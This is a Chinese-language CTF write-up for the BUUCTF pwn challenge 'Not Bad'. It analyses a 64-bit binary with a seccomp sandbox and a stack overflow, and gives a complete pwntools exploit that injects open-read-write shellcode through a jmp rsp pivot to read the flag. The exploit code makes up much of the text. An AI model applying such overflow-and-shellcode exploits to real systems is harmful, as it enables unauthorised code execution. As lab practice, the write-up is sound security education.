[BUUCTF]PWN——[極客大挑戰 2019]Not Bad (orw_shellcode)

[極客大挑戰 2019]Not Bad

附件

步驟

  1. 例行檢查,64位程序,沒用開啓任何保護
    在這裏插入圖片描述

  2. 本地試運行一下看看大概的情況,根據程序提示,是個簡單的shellcode,按照經驗,肯定不簡單
    在這裏插入圖片描述

  3. 64位ida載入
    在這裏插入圖片描述
    百度一下關於mmap函數的介紹
    把從0x123000開始的地址,大小爲0x1000的長度,權限改爲可寫可執行
    sub_400949(),沙盒過濾
    在這裏插入圖片描述
    使用seccomp-tools dump ./bad查看一下哪些函數可以使用
    在這裏插入圖片描述
    發現只有read,write,open,exit可以使用,估計這題應該是使用open-->read-->write這樣的orw的方式獲取flag了
    sub_400906()
    在這裏插入圖片描述
    sub_400A16(),明顯的溢出漏洞
    在這裏插入圖片描述











  4. 這題的思路很簡單,寫入orw類型的shellcode,然後跳轉去執行,buf的大小隻有0x20,感覺不夠我們寫全rop攻擊鏈,程序一開始的時候給我們開闢了0x100可執行的空間,打算在這邊寫shellcode,然後利用buf的溢出跳轉過來執行我們的shellcode

  5. 先寫一下orw的shellcode

mmap=0x123000
orw_payload=shellcraft.open('./flag')           #打開根目錄下的flag文件
orw_payload+=shellcraft.read(3,mmap,0x50)       #讀取文件標識符是3的文件0x50個字節存放到mmap分配的地址空間裏
orw_payload+=shellcraft.write(1,mmap,0x50)      #將mmap地址上的內容輸出0x50個字節

關於文件描述符fd的具體看這篇文章,我這邊簡單說一下。
read裏的fd寫3是因爲程序執行的時候文件描述符是從3開始的,write裏的1是標準輸出到顯示器,這些知識點在我給的鏈接裏有。

  1. 接下來寫一下buf裏的rop攻擊鏈
    buf裏的rop攻擊鏈要完成的任務是往mmap裏寫入orw_payload,讓程序跳轉到mmap去執行orw_payload,確定目的後開始寫rop攻擊鏈
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')#buf裏的rop是往mmap裏讀入0x100長度的數據,跳轉到mmap的地址執行

這樣buf裏的rop就達到了我們想要的目的,下面就要想辦法讓buf裏的內容被執行
發現該程序有jmp rsp,利用它可以跳轉到buf去執行,buf地址是rsp-0x30,
sub rsp,0x30;jmp rsp小於8字節滿足要求。在這裏插入圖片描述
buf處的完整rop攻擊鏈


jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')#buf裏的rop是往mmap裏讀入0x100長度的數據,跳轉到mmap的地址執行
payload=payload.ljust(0x28,'\x00')#buf的大小是0x20,加上rbp0x8是0x28,用’\x00‘去填充剩下的位置
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')#返回地址寫上跳轉到rsp
p.recvuntil('Easy shellcode, have fun!')
p.sendline(payload)

這樣buf裏面的rop也構造好了,剩下的只要傳入orw_payload即可讀出flag

完整exp

from pwn import *

context.arch='amd64'

elf = ELF('./bad')
p = remote('node3.buuoj.cn',28461)


mmap=0x123000
orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap, 0x50)
orw_payload += shellcraft.write(1, mmap,0x50)

jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
p.recvuntil('Easy shellcode, have fun!')
p.sendline(payload)


shellcode=asm(orw_payload)
p.sendline(shellcode)
p.interactive()

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章